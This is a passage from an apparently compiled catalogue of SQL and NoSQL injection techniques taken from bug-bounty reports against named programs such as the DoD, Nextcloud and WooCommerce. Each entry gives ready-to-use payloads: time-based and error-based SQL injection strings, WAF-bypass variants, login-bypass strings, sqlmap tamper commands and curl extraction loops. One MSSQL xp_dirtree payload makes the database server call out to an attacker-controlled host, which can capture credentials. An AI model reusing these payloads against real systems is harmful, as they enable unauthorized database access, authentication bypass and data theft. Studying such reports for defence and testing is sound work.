// nested-subquery variant seen in dupes:
1' AND (SELECT 6268 FROM (SELECT(SLEEP(5)))x) AND 'a'='a
Insight — The now()=sysdate() guard fires once per row and sysdate() is non-cacheable, making it a reliable time oracle even where SLEEP() alone is optimized away. Works in URL params, POST body, login fields, and the URI path itself. When > / BETWEEN are WAF-filtered, drive extraction with IN() instead.
Real-world example
MSSQL OOB exfil via xp_dirtree UNC path
◆ High
Specimen #272506 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface web
Root cause
A multipart form field ('from') is concatenated into a MSSQL statement; stacked queries allow calling master..xp_dirtree against an attacker UNC path, forcing the SQL server to issue an outbound SMB/WebDAV request.
Method
- Inject a stacked query terminating the current statement
- Declare a variable holding a UNC path to your Collaborator host
- exec master.dbo.xp_dirtree @path to trigger DNS + SMB/PROPFIND callback
- Observe the DNS lookup and WebDAV request on your listener
';declare @q varchar(99);set @q='\\<COLLAB>\random'; exec master.dbo.xp_dirtree @q;--
Insight — For blind MSSQL with egress, xp_dirtree/xp_fileexist/OPENROWSET give an immediate OOB confirmation (and NetNTLM capture) without needing in-band output. Field is a form-data part, reminding you to fuzz every multipart field, not just query params.
Real-world example
ORDER BY injection in ColdFusion sort param
◆ High
Specimen #310031 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
A Sort parameter is concatenated into an ORDER BY clause of a ColdFusion query; ORDER BY can't be parameterized, and a verbose SQL error echoes the full query confirming the injection.
Method
- Append a single quote to the sort param and read the disclosed SQL query in the error
- Confirm exploitability with a time-based function in the sort position
- Keep impact low with SLEEP as PoC rather than full extraction
tech.cfm?Sort=SLEEP(25)&ThisType=3 // hangs
// error disclosed: ... Order by 'INJECTION' ASC
Insight — ORDER BY / sort / column-name parameters are a classic non-parameterizable sink. When the app leaks the query on error, use it to learn the exact clause context; then confirm with SLEEP in the ORDER BY position.
Real-world example
MySQL error-based extraction via updatexml()
◆ High
Specimen #232378 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
A POST parameter is concatenated into a MySQL query; extractvalue/updatexml with an invalid XPath forces the DB to echo injected data inside the XPATH-syntax error message.
Method
- Confirm injection with a time-based OR SLEEP(10) payload
- Switch to error-based updatexml with concat() of a marker + version()
- Read the leaked value from the 'XPATH syntax error' message
K*' OR updatexml(null,concat(0x3a3a,version()),null) AND 'aSgl'='aSgl
// also: K*' OR SLEEP(10) AND 'aSgl'='aSgl
Insight — updatexml(null,concat(0x3a3a,<subquery>),null) is the go-to in-band MySQL leak when the app surfaces DB errors - faster than blind. The 0x3a3a marker makes the leaked value easy to parse out of the error.
Real-world example
MSSQL WAF bypass with inline comments + @@LANGID fingerprint
◆ High
Specimen #577612 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
A Customwho parameter injects into MSSQL; a WAF blocks whitespace/keywords, bypassed by /**/ inline comments, and the DBMS is fingerprinted via the MSSQL-only global @@LANGID.
Method
- Replace spaces with /**/ to slip past the WAF token rules
- Concatenate @@LANGID with the value; a numeric result proves MSSQL
- Send a non-existent @@variable to force an error and confirm the engine
?Customwho=31002/**/|/**/@@LANGID // works -> MSSQL
?Customwho=31002/**/|/**/@@nonexisting // error
Insight — @@LANGID / @@VERSION / @@SPID are MSSQL-only globals - concatenating one and seeing a valid response cheaply fingerprints the backend. /**/ comment-as-space is a first-try WAF bypass for keyword/space filters.
Real-world example
ORDER BY injection with DECODE + divide-by-zero oracle
◆ High
Specimen #2081316 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
An ASP.NET HiddenFieldSortOrder value is placed into an ORDER BY clause of an Oracle query; DECODE(condition,...,1/0) throws a divide-by-zero when the condition is false, giving an error/normal-page boolean oracle.
Method
- Identify the sort-order POST field concatenated into ORDER BY
- Wrap a condition in DECODE where the false branch is 1/0
- Normal page = condition true, error page = false; enumerate user length then value with lpad()
seqno-DECODE(length(user),5,1,1/0) // true if len=5
seqno-DECODE(lpad(user,5),'QSWEB',1,1/0) // true if user=QSWEB
Insight — In ORDER BY you can't run UNION/AND easily, but you can inject an expression whose evaluation errors conditionally (1/0). DECODE/CASE + divide-by-zero is a clean boolean oracle for Oracle sort injections.
Real-world example
SQLi via vulnerable doctrine/dbal LIMIT parameter
◆ High
Specimen #1390331 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface api
Root cause
A user-facing API (WebDAV REPORT with oc:limit) passes a limit value into doctrine/dbal, whose setFirstResult/setMaxResults did not cast the value; LIMIT clauses can't be parameterized, so a non-numeric limit injects SQL.
Method
- Find an API that forwards a limit/offset to the ORM/DBAL
- Submit a non-integer limit value (e.g. 1'")
- Observe SQL syntax error confirming the limit is concatenated
REPORT /remote.php/dav/comments/files/1985
<oc:filter-comments><oc:limit>1'"</oc:limit>... // SQL syntax error
Insight — LIMIT/OFFSET are non-parameterizable positions; frameworks must cast to int. Always fuzz limit/offset/page-size params with a quote - a whole class of ORM CVEs (this one CVE-2021-43608) lives there. Also check your dependency version for known DBAL/ORM SQLi.
Real-world example
Blind MSSQL in SOAP .asmx XML body element
◆ High
Specimen #2072306 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface api
Root cause
An EFI Digital StoreFront SOAP web service (StorefrontService.asmx) concatenates the <searchValue> XML element into a MSSQL query reachable during unauthenticated new-user registration.
Method
- Capture the SOAP request for GetAllFacilitiesForNewUserRegistration
- Inject a boolean substring test into the <searchValue> element
- Confirm true/false differential; extract system_user/db_name via substring()
<searchValue>1' and substring(system_user,1,16)='public\dsfwsuser' and '%'='</searchValue>
Insight — SOAP/XML web service body elements are injectable sinks that param-only scanners miss. Feed the raw XML to sqlmap via -r and target the specific element. Unauthenticated registration/search flows are high-value entry points.
Real-world example
MySQL error-based double-query (rand/floor GROUP BY)
◆ High
Specimen #186367 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
A form field injects into MySQL; the rand()/floor() GROUP BY duplicate-key trick forces a 'Duplicate entry' error that embeds the output of an arbitrary expression.
Method
- Inject the GROUP BY ... FLOOR(RAND(0)*2) payload into the field
- MySQL throws a duplicate-entry error containing CONCAT_WS output
- Read the leaked VERSION()/data from the error
' and 1 or 1 GROUP BY CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1 -- -
Insight — The rand(0)/floor GROUP BY double-query is the fallback in-band MySQL leak on older versions where updatexml/extractvalue aren't available. CONCAT_WS(0x3a,...) packs multiple values into one error line.
Real-world example
Keyword-free time-based payload (XOR + sysdate) & sqlmap tamper=between across injection points
◆ High
Specimen #3127562 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Multiple DoD endpoints concatenate user input (URL path suffix, PHP array param, POST field, JSON body field) into MySQL/Oracle queries; a boolean XOR wrapper triggers sleep without OR/AND keywords or spaces.
Method
- Append the XOR/sysdate payload to the value and verify delay tracks the sleep() argument.
- For blocked spaces/equals, run sqlmap with --tamper=between (converts = to BETWEEN and spaces) across the various sink types.
VALUE0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
sqlmap -r file.txt --dbs --tamper=between --batch -p 'data[account][id]'
sqlmap -r file3.txt --dbs --tamper=between -p 'entryid' --dbms=mysql --batch
sqlmap -r sqlmap.txt --tamper=between --batch -p 'name' --dbms=Oracle --technique=T --dbs
Insight — 0'XOR(if(now()=sysdate(),sleep(N),0))XOR'Z is a WAF-friendly time oracle (no AND/OR/UNION); when = is filtered, sqlmap --tamper=between makes injections work. Same technique replays across URL, PHP array (data[account][id]), POST, and JSON body params.
Real-world example
MySQL time-based blind via stacked-subquery sleep
◆ High
Specimen #489483 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Unsanitized GET param in a MySQL query; a quote-breakout wrapping a SELECT-from-SELECT(sleep()) subquery yields a controllable response delay even where SLEEP() alone is rejected in context.
Method
- Append the subquery-sleep payload to the parameter; confirm delay scales with the sleep value (5s vs 10s).
- Dump the raw request and feed to sqlmap with -p and --technique=T to auto-extract (banner shown).
GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'+(select*from(select(sleep(5)))a)+'&rno86qi4=1
sqlmap.py -r test.txt --dbms=mysql --technique=T -p pub_group_id --banner --force-ssl --level=5
Insight — select*from(select(sleep(N)))a is the go-to time payload: it nests the sleep in a derived table so it survives WHERE/ORDER-BY contexts that reject a bare SLEEP().
Real-world example
Time-based blind SQLi in the Referer HTTP header
◆ High
Specimen #1018621 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
The Referer header value is logged/queried unsanitized; the injection sink is an HTTP header, not a URL/body param, so it evades param-only fuzzers.
Method
- Send the sleep payload in the Referer header and compare wall-clock time for if(1=1,...) vs if(1=2,...).
- Extract database() char-by-char by looping a-z0-9 through substring(database(),1,1)='X' inside the if().
time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'" --url "https://TARGET/Chart01.php?alert="
for i in {{a..z},{1..9}}; do time curl -s -H "Referer: '+(select*from(select(if(substring(database(),1,1)='$i',sleep(20),false)))a)+'" --url "https://TARGET/Chart01.php?alert="; done
Insight — Always fuzz Referer/User-Agent/X-Forwarded-For for SQLi, especially on analytics/logging endpoints; header sinks are frequently missed and unpatched.
Real-world example
MongoDB NoSQL injection: $regex blind data extraction in login handler
◆ High
Specimen #397445 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
express-cart passes JSON body fields straight into db.customers.findOne({email: req.body.loginEmail}); an attacker sends an object instead of a string, injecting Mongo operators like $regex to test the stored value character by character.
Method
- Send login JSON where the email field is an object with a $regex anchored pattern (^a, ^ab, ...).
- Distinguish match vs no-match by the login response to recover each customer/admin email blindly.
- Recurse to enumerate all emails.
{"loginEmail": {"$regex": "^a"}, "loginPassword": "x"}
// fix: db.customers.findOne({email: req.body.loginEmail.toString()}, ...)
Insight — Any JSON-body field fed to a Mongo query is a NoSQLi sink; operator injection ($regex/$gt/$ne) turns login/search into a blind extraction oracle exactly like boolean SQLi. Always coerce inputs to strings server-side.
Real-world example
MSSQL error-based via verbose ASP.NET exception + WAITFOR DELAY
◆ High
Specimen #381758 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface web
Root cause
Search box concatenates input into a dynamic MSSQL ORDER BY query; unhandled SqlException returns a full .NET stack trace leaking the query, source file paths and class/method names.
Method
- Enter a single quote; observe 'Unclosed quotation mark ... ORDER BY StartDate2 DESC' plus a stack trace exposing MessagingCenter.getMessages(String ssql) and file path.
- Confirm exploitability with a stacked WAITFOR DELAY time probe.
' -> Unclosed quotation mark after the character string ' ORDER BY StartDate2 DESC'.
1'; waitfor delay '0:0:2' --
Insight — A raw .NET SqlException is a free source-code map: it reveals the query fragment (ORDER BY column), the method name, and the on-disk path, letting you craft context-correct payloads before extracting.
Real-world example
Second-order SQLi via unescaped admin config values (source audit)
◆ High
Specimen #374748 · hannob · none · 4 votes · resolved
Program hannobSurface web
Root cause
Serendipity's serendipity_fetchComments() uses $limit/$order/$type/$where unescaped; admin-settable config ($serendipity['fetchLimit'], 'RSSfetchLimit') flows into these args, so a non-numeric value stored in settings injects when rss.php / the frontpage later builds the query.
Method
- Audit the sink: grep the function whose args go raw into the SQL string (limit/order/where).
- As admin, set 'Entries to display in Feeds'/'on frontpage' to a non-numeric value.
- Trigger rss.php?type=comment or the homepage; the stored config value executes in the query.
// sink: serendipity_fetchComments($id, $limit, $order, $showAll, $type, $where)
// $limit from $serendipity['RSSfetchLimit'] (admin config) used unescaped:
$entries = serendipity_fetchComments($_GET['cid'], $serendipity['RSSfetchLimit'], 'co.id desc', false, $_GET['type']);
Insight — Stored config/settings are a second-order source: a value that looks trusted (a numeric limit) is injectable if it lands unescaped in a later query. When auditing, trace every function param that is string-concatenated into SQL back to any writable config.
Real-world example
Patch regression: re-exploit a previously fixed & disclosed SQLi
◆ High
Specimen #348047 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
A SQLi patched after an earlier disclosed report (#311922) was reintroduced by a code reversion/redeploy, making the same POST param time-injectable again.
Method
- Revisit endpoints from your (or others') previously resolved/disclosed reports.
- Replay the old time-based payload and diff response times (sleep(3) vs sleep(0)).
POST /elist/email_aba.php
lname=S&userid=admin'+(select*from(select(sleep(3)))a)+'&pw=admin
-- baseline:
lname=S&userid=admin'+(select*from(select(sleep(0)))a)+'&pw=admin
Insight — Fixes regress. Keep a watchlist of your resolved/disclosed bugs and periodically re-test them; code reversions, redeploys and env drift routinely resurrect patched injections.
Real-world example
Oracle time-based blind in WebLogic portal form param (sqlmap tamper tuning)
◆ High
Specimen #692326 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain SQLi as DBA -> potential OS command exec / cred dump ->
Root cause
A hidden form parameter (MSI_additionalFilterType1) on an Oracle-backed WebLogic portal page (_nfpb=true&_pageLabel=...) is injectable; the DB account runs as DBA.
Method
- Capture the full multi-parameter form POST from the .portal page.
- Point sqlmap at the vulnerable hidden param; default config misses it, so raise risk/level and add tamper scripts.
sqlmap -r req.txt -p MSI_additionalFilterType1 --dbms=oracle --risk 2 --level 3 --tamper=space2comment,randomcase,between
-- confirms: Oracle 11g, current user is DBA: True
Insight — WebLogic .portal pages (_nfpb/_pageLabel) hide many MSI_* form params worth fuzzing. If sqlmap finds nothing by default, escalate --risk 2 --level 3 and stack tampers (space2comment,randomcase,between) before concluding not-vulnerable; DBA-priv Oracle opens RCE/cred extraction.
Real-world example
Column/ORDER BY injection in a homegrown ORM (basemodel)
◆ High
Specimen #506644 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface otherTag graphql
Root cause
CRUD helper builds queries by string-joining the caller-supplied fields array and orderby string directly into SELECT / ORDER BY, with no escaping of these structural elements. Any framework that lets user input reach column lists or sort clauses is injectable even when values are parameterized.
Method
- Locate an endpoint whose column list or sort/order parameter is attacker-influenced (e.g. ?fields=, ?sort=, ?orderby=).
- Inject a UNION into the column list to exfiltrate arbitrary data.
- If only ORDER BY is reachable, use a conditional expression (IF/CASE) as a boolean oracle to blind-extract data via row ordering.
// UNION via the column/fields list:
model.getAll(["ckey", "cvalue from test where 1=0 union all select 0, 'sqli','sqli'#"])
// SELECT id,ckey,cvalue from test where 1=0 union all select 0,'sqli','sqli'# FROM `test`
// Boolean-blind via ORDER BY oracle:
model.getAll(["ckey","cvalue"], 'IF(1=1, id, -id) LIMIT 1') // returns first row
model.getAll(["ckey","cvalue"], 'IF(1=0, id, -id) LIMIT 1') // returns last row
Insight — Parameterized queries only protect VALUES, never identifiers or ORDER BY. Treat column names, table names, and sort direction as injection sinks: any ?sort=/?orderby=/?fields= that is reflected into the query needs allow-listing, and ORDER BY is exploitable blind even with no error output.
Real-world example
INSERT VALUES-tuple breakout for ballot stuffing (increments)
◆ High
Specimen #508346 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface otherTag graphql
Root cause
A vote/write value is concatenated into an INSERT ... VALUES(...) statement without escaping, so the attacker can close the current tuple and append arbitrary additional rows (or comment out the tail), inflating counts / forging records. Write-path injection is exploitable even when nothing is echoed back.
Method
- Identify a write endpoint that stores attacker input via INSERT (votes, logs, counters).
- Break out of the VALUES tuple: close the string and parenthesis, then append your own ,(...) rows and comment the trailing SQL with #.
- Observe the injected rows reflected in aggregate output (e.g. vote totals).
increments.vote('fruits',
'Oranges","0","0","1","0","0","0","0","","0")'
+ ',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)
+ '#');
// injects 10 extra Oranges rows -> projectedWinner=Oranges, count=11, 100%
Insight — Second-order / write-path SQLi has real impact without any data read-back: count manipulation, poll rigging, forged rows. When a param lands in an INSERT, test tuple-breakout payloads that append `,(...)` rows and terminate with `#`/`-- `.
Real-world example
SQLi in WordPress wp-login log param + XOR-sleep WAF bypass
◆ Medium
Specimen #1109311 · acronis · awarded · 102 votes · resolved
Program acronisSurface web
Root cause
The log (username) parameter of WordPress wp-login.php is concatenated into a SQL query. After an initial filter/WAF was added, the XOR(if(now()=sysdate(),sleep(N),0)) time-based form still bypassed it (bypass report #1224660).
Method
- POST to wp-login.php with an injectable log param; confirm via sqlmap -p log (retrieved current_user u_acronis@localhost).
- When a filter is later added, re-confirm with the XOR-sleep payload in the log field.
- Correlate response time to sleep argument (sleep(10) ~= 12000ms).
log=0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z&pwd=...&wp-submit=...
Insight — Authentication endpoints (wp-login.php log/pwd fields) are injectable too. The 0'XOR(if(now()=sysdate(),sleep(N),0))XOR'Z form is a resilient WAF-bypassing time oracle - keep it when standard AND SLEEP() is filtered.
Real-world example
UNION SQLi in WooCommerce report param (sanitize_text_field is not SQL escaping)
◆ Medium
Specimen #3198980 · automattic · awarded · 96 votes · resolved
Program automatticSurface web
Root cause
WC_Report_Coupon_Usage builds a report SELECT using the coupon_codes GET param. Input passes through WordPress sanitize_text_field(), which strips tags but does NOT SQL-escape, so quotes/UNION survive into get_order_report_data().
Method
- As a user with 'view reports' privilege, request the coupon usage report.
- Inject into coupon_codes to close the string and UNION a sleep/extraction.
- Confirm via response delay (UNION SELECT 1,sleep(10)).
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+-
Insight — sanitize_text_field()/is_array() checks give false confidence - they are XSS-oriented, not SQL escaping. Report/analytics queries built from GET params are a recurring WooCommerce/WordPress SQLi sink.
Real-world example
Boolean blind SQLi via User-Agent header
◆ Medium
Specimen #2599826 · deptofdefense · none · 66 votes · resolved
Program deptofdefenseSurface web
Root cause
The User-Agent header is logged/queried into SQL unsanitized (SharePoint app, MySQL/MariaDB backend), giving a boolean oracle via differential responses.
Method
- Append a boolean SQLi payload to the User-Agent header
- Compare responses for AND 8074=8074 (true) vs a false condition
- Automate with sqlmap --random-agent -risk 3 --level 5 to reach header injection points
User-Agent: Mozilla/5.0 (...) Safari/523.10' AND 8074=8074-- KwOG
Insight — Injection sinks include HTTP headers, not just params - User-Agent, Referer, X-Forwarded-For often land in analytics/logging SQL. Raise sqlmap --level to 5 to fuzz headers; SharePoint/analytics stacks are common offenders.
Real-world example
Blind SQLi in third-party analytics widget param (nested-subquery sleep)
◆ Medium
Specimen #433792 · rocket_chat · none · 61 votes · resolved
Program rocket_chatSurface web
Root cause
A third-party stats widget (agilecrm addstats) loaded on the marketing site passes the 'new' param into MySQL unsanitized; a nested-subquery sleep confirms blind injection.
Method
- Inspect third-party JS/beacon requests fired by the target's pages
- Lightly fuzz each param of the external endpoint (here addstats ?new=)
- Confirm with a nested-subquery sleep gadget
- Escalate to dump version/db/tables
https://stats2.agilecrm.com/addstats?...&new=(select*from(select(sleep(5)))a)&ref=&domain=dorgam
Insight — Attack surface includes third-party widgets/beacons a target embeds - a bug there still exposes the target's traffic/data. Enumerate outbound requests in the page. (select*from(select(sleep(n)))a) is the standard MySQL time gadget that works where a bare SLEEP() is filtered/needs a subquery context.
Real-world example
ORDER BY / sort-direction clause injection (time-based)
◆ Medium
Specimen #876800 · concretecms · none · 60 votes · resolved
Program concretecmsSurface web
Root cause
The sort-direction value (fSearchDefaultSortDirection) is placed directly into an ORDER BY clause where bind parameters cannot be used, so a stacked subquery-sleep executes.
Method
- Find a search/list endpoint exposing sort field and sort direction params
- Append ,(select*from(select(sleep(N)))a) to the direction value
- Confirm the server sleeps proportionally to N
- Note the endpoint may be an internal advanced_search submit reached via ccm_token
fSearchDefaultSortDirection=desc%2c(select*from(select(sleep(20)))a)
Insight — ORDER BY column/direction cannot be parameterized, so sort/orderby/direction params are classic SQLi sinks even in otherwise-parameterized apps. Inject after a valid 'desc,' with a subquery-sleep. Same primitive as GitLab reorder (#298176) and MSSQL sortBy WAITFOR (#2759243).
Real-world example
Boolean SQLi via HTTP status-code differential (entity_id)
◆ Medium
Specimen #297534 · eternal · USD 1000 · 41 votes · resolved
Program eternalSurface web
Root cause
entity_id concatenated into a numeric-context query; a version-check conditional yields HTTP 200 when true and 500/504 when false, a clean status-code oracle.
Method
- Inject 1 or if(mid(@@version,1,1)=5,1,2)=2# into entity_id
- Observe HTTP 200 (true) vs 500/504 (false)
- Enumerate @@version and data via the status differential
https://www.zomato.com/PAGE.php?entity_type=restaurant&entity_id=1+or+if(mid(@@version,1,1)=5,1,2)=2%23
Insight — HTTP status code (200 vs 500) is often the simplest boolean oracle - no body diffing needed. mid(@@version,1,1) is the go-to MySQL version fingerprint. # comments out the trailing query.
Real-world example
Boolean SQLi in JSON-array param with hex-encoded strings + /**/ comment bypass (brids)
◆ Medium
Specimen #301257 · eternal · USD 1000 · 35 votes · resolved
Program eternalSurface web
Root cause
A JSON-array parameter (brids) is broken out of and injected into SQL; the payload avoids quotes by hex-encoding the compared string and avoids spaces with /**/ comments.
Method
- Identify a param whose value is a JSON array (brids) reflected into a query
- Break out of the array element with ')
- Compare @@version using MID on a hex-encoded literal so no quotes are needed
- Use /**/ for whitespace; # to comment the tail; diff 200 vs 500
action=show_support_breakups&brids=["')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/%23"]
Insight — When quotes are filtered/awkward (inside JSON), replace string literals with 0x-hex (0x352e... = '5.6.33-log') and use MID(...)/**/LIKE/**/N. JSON-array and JSON-body params are injectable too - break out with ') and rebuild syntax with inline comments.
Real-world example
Blind SQLi in ArcGIS REST 'where' query parameter
◆ Medium
Specimen #2433970 · deptofdefense · none · 34 votes · resolved
Program deptofdefenseSurface api
Root cause
Esri ArcGIS Server (<=10.1 SP1) FeatureServer/MapServer /query endpoints pass the user-supplied 'where' clause into the backing SQL without sanitization, yielding a boolean/blind SQLi.
Method
- Locate an ArcGIS REST layer query endpoint: /arcgis/rest/services/<svc>/MapServer/<n>/query
- Set where=1=1 and observe all rows returned
- Set where=1=0 and observe empty result (boolean oracle confirmed)
GET /arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=1=1&outFields=*&f=json
# vs where=1=0 -> empty response (boolean differential)
Insight — Fingerprint ArcGIS by the /arcgis/rest/services/ path and f=html|json form; the 'where' field is a known SQLi surface. Any GIS/map REST layer with a client-supplied filter clause deserves a 1=1 vs 1=0 test.
Real-world example
Boolean-based blind SQLi in ASP.NET Ext.NET ResourceManager parameter
◆ Medium
Specimen #1250293 · deptofdefense · none · 32 votes · resolved
Program deptofdefenseSurface web
Root cause
An ASP.NET (Ext.NET) endpoint concatenates a JSON-embedded directory-id parameter (sDirID) into a SQL query, allowing boolean-based blind SQL injection.
Method
- Locate the POST with __EVENTTARGET=ResourceManager1 and a submitDirectEventConfig JSON carrying sDirID
- Set sDirID to a boolean payload and diff TRUE/FALSE responses
- Enumerate the DB via the boolean oracle
submitDirectEventConfig={"config":{"extraParams":{"sDirID":"-1 OR 3*2*1=6 AND 000159=000159"}}}
# oracle set:
# -1 OR 3*2=6 AND 000159=000159 => TRUE
# -1 OR 3*2=5 AND 000159=000159 => FALSE
Insight — Deeply nested/JSON-wrapped parameters (here sDirID inside submitDirectEventConfig, alongside ASP.NET __VIEWSTATE/__EVENTVALIDATION) are often unsanitized because they look internal. Use arithmetic boolean pairs (3*2=6 vs 3*2=5) as a clean blind oracle. The same reporter hit the identical pattern across ~20 companies - reflected/framework params generalize widely.
Real-world example
SQLi in signup validation field bypasses business check
◆ Medium
Specimen #269279 · starbucks · awarded · 27 votes · resolved
Program starbucksSurface webChain SQLi -> partner-status validation bypass (unauthorized ac
Root cause
The Teavana signup 'partner id' field was validated via a SQL lookup with concatenated input; injecting ' OR 1=1 made the validation query always return a match, so an invalid partner id passed and signup succeeded.
Method
- Start signup and enter a bogus partner id (1234) -> validation fails as expected
- Re-enter partner id as 1234' OR 1=1 -> validation query returns rows and signup succeeds
partnerno=1234' OR 1=1
Insight — Fields that gate a workflow via a SQL existence check (partner/coupon/referral/license validators) are high-value SQLi targets: a boolean-true injection converts SQLi into a business-logic/authorization bypass, not just data theft. Test validation inputs with ' OR 1=1 and watch the pass/fail outcome.
Real-world example
SQL injection auth bypass via single quote
◆ Medium
Specimen #2143411 · deptofdefense · none · 20 votes · resolved
Program deptofdefenseSurface web
Root cause
The login query concatenates the username field unsanitized; a lone single quote breaks out of the SQL string and the resulting query/error path authenticates the request, granting portal access without valid credentials.
Method
- Open the login page
- Enter a single quote ' in the username field (any/empty password)
- Submit -> authentication is bypassed and the portal loads
username: '
password: (anything)
# escalate to classic auth-bypass payloads if needed:
username: ' OR '1'='1'-- -
Insight — A single quote in login fields is the cheapest SQLi tell; if it errors or logs you in, follow with ' OR '1'='1'-- - style auth-bypass payloads. Always fuzz auth forms with a quote first.
Real-world example
Boolean-blind confirmation using arithmetic comparisons
◆ Medium
Specimen #1102591 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface web
Root cause
A POST parameter concatenated into a query allowed boolean-based blind SQLi; the reporter confirmed it with arithmetic true/false expressions rather than the commonly filtered OR 1=1.
Method
- Inject an OR clause with an arithmetic true expression and note the TRUE-page
- Inject an arithmetic false expression and note the FALSE-page
- Use inequality math to build a reliable boolean oracle
-1' OR 3*2*1=6 AND 1=1 or '4mEwSPwJ'=' => TRUE
-1' OR 2=4 or '4mEwSPwJ'=' => FALSE
-1' OR 3*2<(1+2+4) or '4mEwSPwJ'=' => TRUE
-1' OR 3*2>(1+2+4) or '4mEwSPwJ'=' => FALSE
Insight — Arithmetic predicates (3*2*1=6, 3*2<(1+2+4)) give a boolean oracle that slips past naive WAF/blacklist rules keyed on the literal string 'OR 1=1'. The trailing '...'=' closes the original quoted string cleanly. Useful confirmation payloads when the obvious ones are blocked.
Real-world example
WordPress plugin SQLi masked only by magic_quotes (false safety)
◆ Medium
Specimen #310280 · mapsmarker_com_e_u · awarded · 15 votes · resolved
Program mapsmarker_com_e_uSurface web
Root cause
A plugin AJAX handler explode()'s an unescaped $_GET/$_POST param into a UNION-built query; it is only non-exploitable because WordPress applies wp_magic_quotes(), which other plugins loaded earlier can disable.
Method
- Locate the shortcode/AJAX query building SELECT/UNION from the multi_layer_map_list param
- Note first element and each exploded id are concatenated unescaped into WHERE l.id='...'
- Exploitable when magic quotes are reset by another plugin/theme
$mlm_query = "... WHERE l.id='".$multi_layer_map_list."' ...";
$mlm_query .= " UNION (SELECT ... WHERE l.id='".$row."' )"; // $row from explode(',', input), unescaped
Insight — A guest-controllable param built into a UNION with only implicit magic_quotes protection is a latent SQLi: environment-dependent 'safe' code is not safe. When auditing WP plugins, flag esc_sql()/intval() gaps even if magic quotes currently neutralizes them, and note explode()-then-loop-into-UNION patterns.
Real-world example
Android exported ContentProvider SQLi
◆ Medium
Specimen #1650264 · owncloud · USD 300 · 12 votes · resolved
Program owncloudSurface mobile-android
Root cause
An exported ContentProvider passes the caller-controlled where/selection/sortOrder strings and ContentValues keys straight into SQLiteDatabase delete/insert/update/query, so any app on the device can inject SQL.
Method
- Confirm the provider is android:exported=true in the manifest
- From an unprivileged app, call insert() to create a row, then update() with a selection that appends a sub-select into a written column
- Query that row back to read the exfiltrated value (in-band)
- For strictMode-protected query(), use a boolean LIKE oracle to blind-extract char by char
// in-band: set path column to result of a sub-select
updateValues.put("etag=?,path=(SELECT GROUP_CONCAT("+col+",'\n') FROM "+table+") WHERE _id="+id+"-- -", "a");
// blind: selection string
"'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE 'PREFIX%'"
Insight — Treat every exported ContentProvider method arg (selection, sortOrder, and ContentValues KEYS used as column names) as a SQL sink. Set exported=false or use a projection map + parameterized selection. GROUP_CONCAT into a readable column turns blind into in-band.
Real-world example
DNN searchText boolean-based blind extraction
◆ Medium
Specimen #2073717 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface api
Root cause
A DotNetNuke GetItems API searchText parameter is concatenated inside a WHERE ... LIKE clause; a true/false differential lets an attacker read data with ascii(substring()).
Method
- Break out of the LIKE literal and add a controllable AND clause
- Compare a always-true vs always-false condition to establish the oracle
- Extract len(user) then each char via ascii(substring(user,N,1))=code
')AND 22=22 AND ('NaXY' LIKE 'NaXY -- true
')AND 22=21 AND ('NaXY' LIKE 'NaXY -- false
')AND ascii(substring(user,5,1))='92' AND ('NaXY' LIKE 'NaXY
Insight — When breaking out of a LIKE literal you must re-balance both the opening quote and the trailing wildcard context - the ')AND ... AND ('x' LIKE 'x pattern rebuilds valid syntax. Also seen combined with reflected XSS in the same reflected parameter (484801).
Real-world example
Time-based blind SQLi via User-Agent header
◆ Medium
Specimen #771215 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
The User-Agent header is logged/queried into MySQL unsanitized; a multi-context polyglot sleep payload triggers in whichever quote context the value lands in.
Method
- Set the User-Agent to a polyglot sleep payload covering unquoted, single- and double-quoted contexts
- Confirm the response time matches the sleep argument
- Reduce the sleep value and re-test to rule out network noise
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
Insight — Injection points aren't only params/body - User-Agent, Referer, X-Forwarded-For often reach analytics/logging INSERTs. A single polyglot that self-terminates in unquoted, '-quoted, and "-quoted contexts saves you guessing the exact context.
Real-world example
Boolean-blind SQLi with substr() char extraction
◆ Medium
Specimen #648346 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
User-controlled string param concatenated into a MySQL WHERE clause; single-quote breakout lets boolean predicates flip a distinguishable page marker true/false.
Method
- Inject a single quote and AND clause; find a stable content marker that appears only on TRUE (e.g. the firstName form field).
- Confirm boolean control with self-evident predicates (2=2 TRUE vs 1=2 FALSE).
- Extract database() char-by-char with substr(database(),1,N)='x' comparisons.
